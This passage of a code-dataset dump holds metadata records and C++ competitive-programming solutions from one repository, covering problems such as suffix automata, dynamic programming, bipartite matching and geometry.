x;\n string s;\n vector<string> aux(x);\n for( int j = 0,d; j < x; j++ )\n cin >> aux[j];\n reverse( aux.begin(), aux.end() );\n\n for( int j = 0,d; j < x; j++ ){\n s = aux[j];\n if( s == \"bw\" )\n d = 0;\n else if( s == \"c\" )\n d = 1;\n\n if( !v[i].size() || v[i][ v[i].size()-1 ] != d ){\n v[i].push_back( d );\n if( !d ) neg++;\n }\n }\n if( v[i].back() == 0 ){\n ans++;\n v[i].pop_back();\n neg--;\n\n }\n }\n\n /*if( n == 1 ){\n int zero = 0, one = 0;\n for( int i = 1; i+1 < (int)v[1].size(); i++ ){\n\n if( v[1][i] == 0 && v[1][i+1] == 1 && v[1][i-1] == 1 ){\n cout << -1 << '\\n';\n return 0;\n }\n }\n if( v[1].size() == 1 ){\n cout << 1 << '\\n';\n return 0;\n }\n if( v[1][0] == 0 && v[1][1] == 1 ){\n cout << 1 << '\\n';\n return 0;\n }\n cout << 2 << '\\n';\n return 0;\n }\n*/\n while( neg ){\n for( int i = 1; i <= n; i++ ){\n int sz = v[i].size();\n if( sz > 1 ){\n if( neg == 1 ){\n ans++;\n neg--;\n v[i].pop_back();\n v[i].pop_back();\n break;\n }\n else if( n == 1 ){\n cout << \"-1\\n\";\n return 0;\n }\n ans += 2;\n neg--;\n\n v[i].pop_back();\n v[i].pop_back();\n }\n }\n }\n for( int i = 1; i <= n; i++ )\n if( v[i].size() ) ans++;\n\n cout << ans << '\\n';\n}\n" }, { "alpha_fraction": 0.42081448435783386, "alphanum_fraction": 0.438914030790329, "avg_line_length": 15, "blob_id": "f0f33b4df49f694ca5fd0726a5bcd56f80370e05", "content_id": "c37a4fe795dfc9cd214b0b310feb7fd26b14d6b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 442, "license_type": "no_license", "max_line_length": 41, "num_lines": 26, "path": "/COJ/eliogovea-cojAC/eliogovea-p2265-Accepted-s649705.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst int MAXN = 25;\r\n\r\nll n, a[MAXN], p, sum;\r\n\r\nint main() {\r\n\tcin >> n >> p;\r\n\tfor (int i = 0; i < n; i++) cin >> a[i];\r\n\tbool sol = false;\r\n\tfor (int i = 1; i < (1 << n); i++) {\r\n\t\tsum = 0;\r\n\t\tfor (int j = 0; j < n; j++)\r\n\t\t\tif (i & (1 << j)) sum += a[j];\r\n\t\tif (sum == p) {\r\n\t\t\tsol = true;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\tif (sol) cout << \"YES\\n\";\r\n\telse cout << \"NO\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.43207353353500366, "alphanum_fraction": 0.4468845725059509, "avg_line_length": 19.18556785583496, "blob_id": "8868d0c5312ff89dfa5da789a4e535e36320484f", "content_id": "05bc369faa67082fcaac9989d31f559ec53d0a71", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1958, "license_type": "no_license", "max_line_length": 62, "num_lines": 97, "path": "/Hackerrank/string-function-calculation.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int SIZE = 2 * 100 * 1000 + 10;\n\nint length[SIZE];\nint suffix_link[SIZE];\nmap <char, int> go[SIZE];\n\nint size;\nint last;\n\n\ninline int get_new(int _length) {\n int res = size++;\n length[res] = _length;\n suffix_link[res] = -1;\n go[res] = map <char, int> ();\n return res;\n}\n\ninline int get_clone(int node, int _length) {\n int res = size++;\n length[res] = _length;\n suffix_link[res] = suffix_link[node];\n go[res] = go[node];\n return res;\n}\n\ninline void init() {\n size = 0;\n last = get_new(0);\n}\n\nint add(char c) {\n int p = last;\n int cur = get_new(length[p] + 1);\n while (p != -1 && go[p].find(c) == go[p].end()) {\n go[p][c] = cur;\n p = suffix_link[p];\n }\n if (p == -1) {\n suffix_link[cur] = 0;\n } else {\n int q = go[p][c];\n if (length[p] + 1 == length[q]) {\n suffix_link[cur] = q;\n } else {\n int clone = get_clone(q, length[p] + 1);\n suffix_link[cur] = suffix_link[q] = clone;\n while (p != -1 && go[p][c] == q) {\n go[p][c] = clone;\n p = suffix_link[p];\n }\n }\n }\n\t\tlast = cur;\n return cur;\n}\n\nint value[SIZE];\nint sorted[SIZE];\nint cnt[SIZE];\n\nint main() {\n string t;\n cin >> t;\n \n int n = t.size();\n \n init();\n \n for (int i = 0; i < n; i++) {\n add(t[i]);\n value[last]++;\n }\n \n for (int i = 0; i < size; i++) {\n cnt[length[i]]++;\n }\n for (int i = 1; i <= n; i++) {\n cnt[i] += cnt[i - 1];\n }\n for (int i = 0; i < size; i++) {\n sorted[--cnt[length[i]]] = i;\n }\n for (int i = size - 1; i > 0; i--) {\n value[suffix_link[sorted[i]]] += value[sorted[i]];\n }\n \n long long answer = 0;\n for (int i = 0; i < size; i++) {\n answer = max(answer, (long long)value[i] * length[i]);\n }\n cout << answer << \"\\n\";\n}\n" }, { "alpha_fraction": 0.42222222685813904, "alphanum_fraction": 0.43703705072402954, "avg_line_length": 16.133333206176758, "blob_id": "b20aaeaa454d068d3794a1c93ea554627868271f", "content_id": "0be6f3d6e28d66330826561fac8c192bddd2c9b0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 270, "license_type": "no_license", "max_line_length": 28, "num_lines": 15, "path": "/COJ/eliogovea-cojAC/eliogovea-p1050-Accepted-s388681.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\nint mcd(long n, long m){ \r\n if(m==0) return n;\r\n else return mcd(m,n%m);\r\n }\r\n\r\nint main(){\r\n int n,c;\r\n cin >> n;\r\n c=1;\r\n for(int i=2; i<n; i++){\r\n if(mcd(i,n)==1) c++;}\r\n cout << c;\r\n }" }, { "alpha_fraction": 0.25902125239372253, "alphanum_fraction": 0.28324270248413086, "avg_line_length": 22.373493194580078, "blob_id": "30434a18b0051f48153f0e24cefbf751f0cfe33d", "content_id": "2312560ffda4aa9a7bfb219b71ea9daa03e8980d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2023, "license_type": "no_license", "max_line_length": 84, "num_lines": 83, "path": "/COJ/eliogovea-cojAC/eliogovea-p1371-Accepted-s920279.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD = 1000000009;\r\n\r\ninline void add(int &a, int b) {\r\n if ((a += b) >= MOD) {\r\n a -= MOD;\r\n }\r\n}\r\n\r\ninline int mul(int a, int b) {\r\n return (long long)a * b % MOD;\r\n}\r\n\r\nconst int N = 55;\r\n\r\nint t;\r\nint n, d;\r\nint arr[N];\r\nint sum[N];\r\n\r\nint dp[5][N][N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n //freopen(\"dat.txt\", \"r\", stdin);\r\n\r\n\tcin >> t;\r\n\r\n\twhile (t--) {\r\n cin >> n >> d;\r\n for (int i = 1; i <= n; i++) {\r\n cin >> arr[i];\r\n sum[i] = sum[i - 1];\r\n add(sum[i], arr[i]);\r\n }\r\n\r\n int cur = 0;\r\n\r\n for (int i = 1; i <= n; i++) {\r\n dp[cur][i][i] = arr[i];\r\n for (int j = i - 1; j >= 1; j--) {\r\n dp[cur][j][i] = sum[i];\r\n add(dp[cur][j][i], MOD - sum[j - 1]);\r\n add(dp[cur][j][i], dp[cur][j + 1][i]);\r\n //if (i > 1) {\r\n add(dp[cur][j][i], dp[cur][j][i - 1]);\r\n if (j + 1 <= i - 1) {\r\n add(dp[cur][j][i], MOD - dp[cur][j + 1][i - 1]);\r\n }\r\n //}\r\n }\r\n }\r\n\r\n for (int i = 1; i < d; i++) {\r\n for (int j = 1; j <= n; j++) {\r\n for (int k = j; k <= n; k++) {\r\n dp[cur ^ 1][j][k] = dp[cur][j][k];\r\n }\r\n }\r\n\r\n for (int j = 1; j <= n; j++) {\r\n for (int k = j - 1; k >= 1; k--) {\r\n add(dp[cur ^ 1][k][j], dp[cur ^ 1][k + 1][j]);\r\n //if (j > 1) {\r\n add(dp[cur ^ 1][k][j], dp[cur ^ 1][k][j - 1]);\r\n if (k + 1 <= j - 1) {\r\n add(dp[cur ^ 1][k][j], MOD - dp[cur ^ 1][k + 1][j - 1]);\r\n }\r\n //}\r\n\r\n }\r\n }\r\n cur ^= 1;\r\n }\r\n cout << dp[cur][1][n] << \"\\n\";\r\n\t}\r\n\r\n}\r\n" }, { "alpha_fraction": 0.5927602052688599, "alphanum_fraction": 0.6470588445663452, "avg_line_length": 17.41666603088379, "blob_id": "63345cf8230db690da37584ca158932ae1e81234", "content_id": "3931f0b731e2756b868986266e7db4ce328032d7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 221, "license_type": "no_license", "max_line_length": 72, "num_lines": 12, "path": "/Codeforces-Gym/100699 - Stanford ProCo 2015/N1.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Stanford ProCo 2015\n// 100699N1\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n cout << \"Hello. I am Baymax, your personal healthcare companion.\\n\";\n}\n" }, { "alpha_fraction": 0.3864406645298004, "alphanum_fraction": 0.404237300157547, "avg_line_length": 14.647887229919434, "blob_id": "0082bf83e355944d497a00db34728d4a5bc2d7b4", "content_id": "641eb5eaf0d58936a20073258ff585b7a0bd7982", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1180, "license_type": "no_license", "max_line_length": 59, "num_lines": 71, "path": "/COJ/eliogovea-cojAC/eliogovea-p2385-Accepted-s1129744.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 510;\r\nconst double EPS = 1e-9;\r\n\r\nint t, n;\r\ndouble x[N], y[N];\r\ndouble d[N][N];\r\n\r\nbool visited[N];\r\ndouble pd[N * N];\r\n\r\nint dfs(int u, double dd) {\r\n\tint res = 1;\r\n\tvisited[u] = true;\r\n\tfor (int v = 0; v < n; v++) {\r\n\t\tif (v != u && !visited[v] && d[u][v] <= dd + EPS) {\r\n\t\t\tres += dfs(v, dd);\r\n\t\t}\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.precision(3);\r\n\t\r\n\tcin >> t;\r\n\t\r\n\twhile (t--) {\r\n\t\tcin >> n;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> x[i] >> y[i];\r\n\t\t}\r\n\t\t\r\n\t\tint c = 0;\r\n\t\t\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tfor (int j = i + 1; j < n; j++) {\r\n\t\t\t\tdouble dx = x[i] - x[j];\r\n\t\t\t\tdouble dy = y[i] - y[j];\r\n\t\t\t\tpd[c++] = d[i][j] = d[j][i] = sqrt(dx * dx + dy * dy); \r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\tsort(pd, pd + c);\r\n\t\t\r\n\t\t\r\n\t\t\r\n\t\tint lo = 0;\r\n\t\tint hi = c - 1;\r\n\t\tint ans_id = c - 1;\r\n\t\twhile (lo <= hi) {\r\n\t\t\tint mid = (lo + hi) >> 1;\r\n\t\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\t\tvisited[i] = false;\r\n\t\t\t}\r\n\t\t\tif (dfs(0, pd[mid]) == n) {\r\n\t\t\t\tans_id = mid;\r\n\t\t\t\thi = mid - 1;\r\n\t\t\t} else {\r\n\t\t\t\tlo = mid + 1;\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\tcout << fixed << pd[ans_id] << \"\\n\";\r\n\t}\r\n}" }, { "alpha_fraction": 0.4000000059604645, "alphanum_fraction": 0.41735848784446716, "avg_line_length": 15.272727012634277, "blob_id": "9b292568cfa2da77fe828b210b5b601464c4467a", "content_id": "1b45a2c764e5fd0fd63baa383366ab96a8a58a7c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1325, "license_type": "no_license", "max_line_length": 65, "num_lines": 77, "path": "/Timus/1078-6169871.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1078\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 505;\r\n\r\nstruct seg {\r\n\tint b, e, id;\r\n\tseg() {}\r\n\tseg(int x, int y, int z) : b(x), e(y), id(z) {}\r\n\tconst int len() const {\r\n\t\treturn e - b;\r\n\t}\r\n} a[N];\r\n\r\nbool operator < (const seg &a, const seg &b) {\r\n\tif (a.len() != b.len()) {\r\n\t\treturn a.len() < b.len();\r\n\t}\r\n\tif (a.b != b.b) {\r\n\t\treturn a.b < b.b;\r\n\t}\r\n\tif (a.e != b.e) {\r\n\t\treturn a.e < b.e;\r\n\t}\r\n\treturn a.id < b.id;\r\n}\r\n\r\nint n;\r\nint dp[N], ans;\r\nint rec[N];\r\nvector<int> v;\r\n\r\nint main() {\r\n\t//freopen(\"data.txt\", \"r\", stdin);\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> a[i].b >> a[i].e;\r\n\t\ta[i].id = i + 1;\r\n\t}\r\n\tsort(a, a + n);\r\n\tans = -1;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tdp[i] = 1;\r\n\t\trec[i] = -1;\r\n\t\tfor (int j = 0; j < i; j++) {\r\n\t\t\tif (a[j].b > a[i].b && a[j].e < a[i].e && dp[j] + 1 > dp[i]) {\r\n\t\t\t\tdp[i] = dp[j] + 1;\r\n\t\t\t\trec[i] = j;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (ans == -1 || dp[i] > dp[ans]) {\r\n\t\t\tans = i;\r\n\t\t}\r\n\t}\r\n\tcout << dp[ans] << \"\\n\";\r\n\tint cur = ans;\r\n\twhile (true) {\r\n\t\tv.push_back(a[cur].id);\r\n\t\tif (rec[cur] == -1) {\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tcur = rec[cur];\r\n\t}\r\n\tfor (int i = v.size() - 1; i >= 0; i--) {\r\n\t\tcout << v[i];\r\n\t\tif (i != 0) {\r\n\t\t\tcout << \" \";\r\n\t\t}\r\n\t}\r\n\tcout << \"\\n\";\r\n}" }, { "alpha_fraction": 0.39306357502937317, "alphanum_fraction": 0.42100194096565247, "avg_line_length": 14.264705657958984, "blob_id": "658235b018c8c2a2caa8058924ab0db8d7b4b394", "content_id": "4181868986eb5b97ec17cd49b50e1b6e0d89406d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1038, "license_type": "no_license", "max_line_length": 37, "num_lines": 68, "path": "/COJ/eliogovea-cojAC/eliogovea-p4191-Accepted-s1310787.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int M = 1000 * 1000 * 1000 + 7;\nconst int INV_2 = (M + 1) / 2;\n\ninline int to_value(string s) {\n int v = 0;\n for (auto c : s) {\n v = (10LL * v + c - '0') % M;\n }\n return v;\n}\n\ninline string to_binary(int v) {\n if (v == 0) {\n return \"0\";\n }\n string s;\n while (v > 0) {\n s += '0' + (v & 1);\n v >>= 1;\n }\n reverse(s.begin(), s.end());\n\n return s;\n}\n\ninline int sum(string x) {\n string rx = x;\n reverse(rx.begin(), rx.end());\n\n if (rx < x) {\n swap(x, rx);\n }\n\n int a = to_value(x);\n int b = to_value(rx);\n\n int c = (a + b) % M;\n int d = (b - a + 1 + M) % M;\n \n int ans = (long long)c * d % M;\n ans = (long long)ans * INV_2 % M;\n\n return ans;\n}\n\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n\n int t;\n cin >> t;\n\n while (t--) {\n string s;\n cin >> s;\n\n int x = sum(s);\n string y = to_binary(x);\n\n cout << y << \"\\n\";\n\n }\n}\n" }, { "alpha_fraction": 0.43381181359291077, "alphanum_fraction": 0.4545454680919647, "avg_line_length": 14.076923370361328, "blob_id": "0c68003e1f1f5dc584117f4fb91cfe16ee984a8d", "content_id": "ffa8c17db36161aa6f3d56de21bb4a8a23648c44", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 627, "license_type": "no_license", "max_line_length": 55, "num_lines": 39, "path": "/COJ/eliogovea-cojAC/eliogovea-p3625-Accepted-s1055160.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 5000;\r\n\r\nbool solved[N][N];\r\nbool dp[N + 5][N + 5];\r\n\r\nbool solve(int n, int l) {\r\n\tif (solved[n][l]) {\r\n\t\treturn dp[n][l];\r\n\t}\r\n\tif (n == 0) {\r\n\t\treturn false;\r\n\t}\r\n\tsolved[n][l] = true;\r\n\tint hi = (l == 0) ? n - 1 : min(2 * l, n);\r\n\tfor (int c = 1; c <= hi; c++) {\r\n\t\tif (!solve(n - c, c)) {\r\n\t\t\tdp[n][l] = true;\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\tdp[n][l] = false;\r\n\treturn false;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tint t, n;\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tcin >> n;\r\n\t\tcout << (solve(n, 0) ? \"Ron\" : \"Harry\") << \" wins\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.37743961811065674, "alphanum_fraction": 0.3890175223350525, "avg_line_length": 18.425676345825195, "blob_id": "9ff82c562b4108dc2dfec06c36522e16a86e8139", "content_id": "7892244b4e0470221d257e459ddc4521d7390c65", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3023, "license_type": "no_license", "max_line_length": 49, "num_lines": 148, "path": "/COJ/eliogovea-cojAC/eliogovea-p3754-Accepted-s1042037.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD = 1000000007;\r\n\r\ninline void add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) {\r\n\t\ta -= MOD;\r\n\t}\r\n}\r\n\r\ninline int mul(int a, int b) {\r\n\treturn (long long)a * b % MOD;\r\n}\r\n\r\nconst int N = 10000;\r\n\r\nvector <int> pf[N + 5];\r\n\r\nint t;\r\nint n, k;\r\nbool used[N];\r\nbool isUp[N];\r\nset <int> up, down;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tfor (int i = 2; i <= N; i++) {\r\n\t\tif (!pf[i].size()) {\r\n\t\t\tfor (int j = i; j <= N; j += i) {\r\n\t\t\t\tpf[j].push_back(i);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tcin >> t;\r\n\tfor (int cas = 1; cas <= t; cas++) {\r\n\t\tcin >> n >> k;\r\n\t\tup.clear();\r\n\t\tdown.clear();\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tisUp[i] = false;\r\n\t\t\tused[i] = false;\r\n\t\t}\r\n\t\tfor (int i = 0; i < k; i++) {\r\n\t\t\tint x;\r\n\t\t\tcin >> x;\r\n\t\t\tup.insert(x);\r\n\t\t\tisUp[x] = true;\r\n\t\t}\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tif (!isUp[i]) {\r\n\t\t\t\tdown.insert(i);\r\n\t\t\t}\r\n\t\t}\r\n\t\tint ans = 0;\r\n\t\tfor (int i = 1; i <= n; i++) {\r\n\t\t\tif (i & 1) { // Jair - higher\r\n\t\t\t\tif (up.size() > 0) {\r\n\t\t\t\t\tint x = *up.rbegin();\r\n\t\t\t\t\tused[x] = true;\r\n\t\t\t\t\tup.erase(up.find(x));\r\n\t\t\t\t\tans = mul(ans, n + 1);\r\n\t\t\t\t\tadd(ans, x);\r\n\t\t\t\t\tfor (int j = 0; j < pf[x].size(); j++) {\r\n\t\t\t\t\t\tint p = pf[x][j];\r\n\t\t\t\t\t\tif (!used[p]) {\r\n\t\t\t\t\t\t\tif (isUp[p]) {\r\n\t\t\t\t\t\t\t\tisUp[p] = false;\r\n\t\t\t\t\t\t\t\tup.erase(up.find(p));\r\n\t\t\t\t\t\t\t\tdown.insert(p);\r\n\t\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t\tisUp[p] = true;\r\n\t\t\t\t\t\t\t\tdown.erase(down.find(p));\r\n\t\t\t\t\t\t\t\tup.insert(p);\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t} else {\r\n\t\t\t\t\tint x = *down.rbegin();\r\n\t\t\t\t\tused[x] = true;\r\n\t\t\t\t\tdown.erase(down.find(x));\r\n\t\t\t\t\tans = mul(ans, n + 1);\r\n\t\t\t\t\tadd(ans, x);\r\n\t\t\t\t\tfor (int j = 0; j < pf[x].size(); j++) {\r\n\t\t\t\t\t\tint p = pf[x][j];\r\n\t\t\t\t\t\tif (!used[p]) {\r\n\t\t\t\t\t\t\tif (isUp[p]) {\r\n\t\t\t\t\t\t\t\tisUp[p] = false;\r\n\t\t\t\t\t\t\t\tup.erase(up.find(p));\r\n\t\t\t\t\t\t\t\tdown.insert(p);\r\n\t\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t\tisUp[p] = true;\r\n\t\t\t\t\t\t\t\tdown.erase(down.find(p));\r\n\t\t\t\t\t\t\t\tup.insert(p);\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t} else { // Chadan - lower\r\n\t\t\t\tif (up.size() > 0) {\r\n\t\t\t\t\tint x = *up.begin();\r\n\t\t\t\t\tused[x] = true;\r\n\t\t\t\t\tup.erase(up.begin());\r\n\t\t\t\t\tans = mul(ans, n + 1);\r\n\t\t\t\t\tadd(ans, x);\r\n\t\t\t\t\tfor (int j = 0; j < pf[x].size(); j++) {\r\n\t\t\t\t\t\tint p = pf[x][j];\r\n\t\t\t\t\t\tif (!used[p]) {\r\n\t\t\t\t\t\t\tif (isUp[p]) {\r\n\t\t\t\t\t\t\t\tisUp[p] = false;\r\n\t\t\t\t\t\t\t\tup.erase(up.find(p));\r\n\t\t\t\t\t\t\t\tdown.insert(p);\r\n\t\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t\tisUp[p] = true;\r\n\t\t\t\t\t\t\t\tdown.erase(down.find(p));\r\n\t\t\t\t\t\t\t\tup.insert(p);\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t} else {\r\n\t\t\t\t\tint x = *down.begin();\r\n\t\t\t\t\tused[x] = true;\r\n\t\t\t\t\tdown.erase(down.begin());\r\n\t\t\t\t\tans = mul(ans, n + 1);\r\n\t\t\t\t\tadd(ans, x);\r\n\t\t\t\t\tfor (int j = 0; j < pf[x].size(); j++) {\r\n\t\t\t\t\t\tint p = pf[x][j];\r\n\t\t\t\t\t\tif (!used[p]) {\r\n\t\t\t\t\t\t\tif (isUp[p]) {\r\n\t\t\t\t\t\t\t\tisUp[p] = false;\r\n\t\t\t\t\t\t\t\tup.erase(up.find(p));\r\n\t\t\t\t\t\t\t\tdown.insert(p);\r\n\t\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t\tisUp[p] = true;\r\n\t\t\t\t\t\t\t\tdown.erase(down.find(p));\r\n\t\t\t\t\t\t\t\tup.insert(p);\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << \"Case #\" << cas << \": \" << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.48175182938575745, "alphanum_fraction": 0.49635037779808044, "avg_line_length": 18.898305892944336, "blob_id": "fc9d0c2afd1d7bbd823ebe0d12e6a09eb96f92b1", "content_id": "eafcafe5b9d4ef67d03b847a0def6839ec9aaae9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1233, "license_type": "no_license", "max_line_length": 60, "num_lines": 59, "path": "/COJ/eliogovea-cojAC/eliogovea-p2001-Accepted-s659350.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n#include <fstream>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 100005;\r\n\r\nint n;\r\nint x[MAXN], y[MAXN];\r\nvector<int> G[MAXN], X, Y;\r\nint match[MAXN], used[MAXN], mk;\r\n\r\nbool kuhn(int u) {\r\n\tif (used[u] == mk) return false;\r\n\tused[u] = mk;\r\n\tfor (int i = 0; i < G[u].size(); i++) {\r\n\t\tint to = G[u][i];\r\n\t\tif (match[to] == 0 || kuhn(match[to])) {\r\n\t\t\tmatch[to] = u;\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}\r\n\treturn false;\r\n}\r\n\r\nbool BM() {\r\n\tint r = 0;\r\n\tfor (int i = 0; i < X.size(); i++) {\r\n\t\tmk++;\r\n\t\tif (kuhn(1 + i)) r++;\r\n\t\tif (r > 3) return false;\r\n\t}\r\n\treturn true;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0); cout.tie(0);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> x[i] >> y[i];\r\n\t\tX.push_back(x[i]);\r\n\t\tY.push_back(y[i]);\r\n\t}\r\n\tsort(X.begin(), X.end());\r\n\tsort(Y.begin(), Y.end());\r\n\tX.erase(unique(X.begin(), X.end()), X.end());\r\n\tY.erase(unique(Y.begin(), Y.end()), Y.end());\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tint a = upper_bound(X.begin(), X.end(), x[i]) - X.begin();\r\n\t\tint b = upper_bound(Y.begin(), Y.end(), y[i]) - Y.begin();\r\n\t\tG[a].push_back(b);\r\n\t}\r\n\tif (BM()) cout << \"1\\n\";\r\n\telse cout << \"0\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.3660847842693329, "alphanum_fraction": 0.412468820810318, "avg_line_length": 26.84722137451172, "blob_id": "293ff75708c712daa5843db32d899981106921b6", "content_id": "2b4cc578b88e6ab45081cfd415f93254cec1d9cd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2005, "license_type": "no_license", "max_line_length": 111, "num_lines": 72, "path": "/Codeforces-Gym/100228 - 2013-2014 CT S01E02: Extended 2003 ACM-ICPC East Central North America Regional Contest (ECNA 2003)/H.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2013-2014 CT S01E02: Extended 2003 ACM-ICPC East Central North America Regional Contest (ECNA 2003)\n// 100228H\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst double EPS = 1e-9;\n\nstruct pt {\n double x;\n double y;\n pt() {}\n pt(double _x, double _y) : x(_x), y(_y) {}\n};\n\npt operator - (const pt &a, const pt &b) {\n return pt(a.x - b.x, a.y - b.y);\n}\n\ndouble cross(const pt &a, const pt &b) {\n return a.x * b.y - a.y * b.x;\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n cout.precision(3);\n //freopen(\"dat.txt\",\"r\",stdin);\n\n for (int cas = 1; true; cas++) {\n vector <pt> points(8);\n for (int i = 0; i < 4; i++) {\n cin >> points[2 * i].x >> points[2 * i].y;\n }\n bool ok = false;\n for (int i = 0; i < 4; i++) {\n double x = (points[2 * i].x + points[2 * ((i + 1) % 4)].x) / 2.0;\n double y = (points[2 * i].y + points[2 * ((i + 1) % 4)].y) / 2.0;\n if (abs(x) >= EPS || abs(y) > EPS) {\n ok = true;\n }\n points[2 * i + 1] = pt(x, y);\n }\n if (!ok) {\n break;\n }\n vector <double> area(8);\n for (int i = 2; i < 8; i++) {\n area[i] = area[i - 1] + abs(cross(points[i - 1] - points[0], points[i] - points[0])) / 2.0;\n }\n double bestDiff = 1e18;\n double ansA1;\n double ansA2;\n for (int i = 0; i < 8; i++) {\n for (int j = 0; j < 8; j++) {\n double a1 = area[j] - area[i] - abs(cross(points[i] - points[0], points[j] - points[0])) / 2.0;\n double a2 = area[7] - a1;\n if (abs(a1 - a2) < bestDiff) {\n bestDiff = abs(a1 - a2);\n ansA1 = a1;\n ansA2 = a2;\n }\n }\n }\n if (ansA1 > ansA2) {\n swap(ansA1, ansA2);\n }\n\n cout << \"Cake \" << cas << \": \" << fixed << ansA1 << \" \" << ansA2 << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.4610041081905365, "alphanum_fraction": 0.4831070303916931, "avg_line_length": 22.459259033203125, "blob_id": "99b654b8071aad0404d14c75ee2768d1b11f336f", "content_id": "800a3de0772527d5e29a8eea5ebe7238aea5813b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", 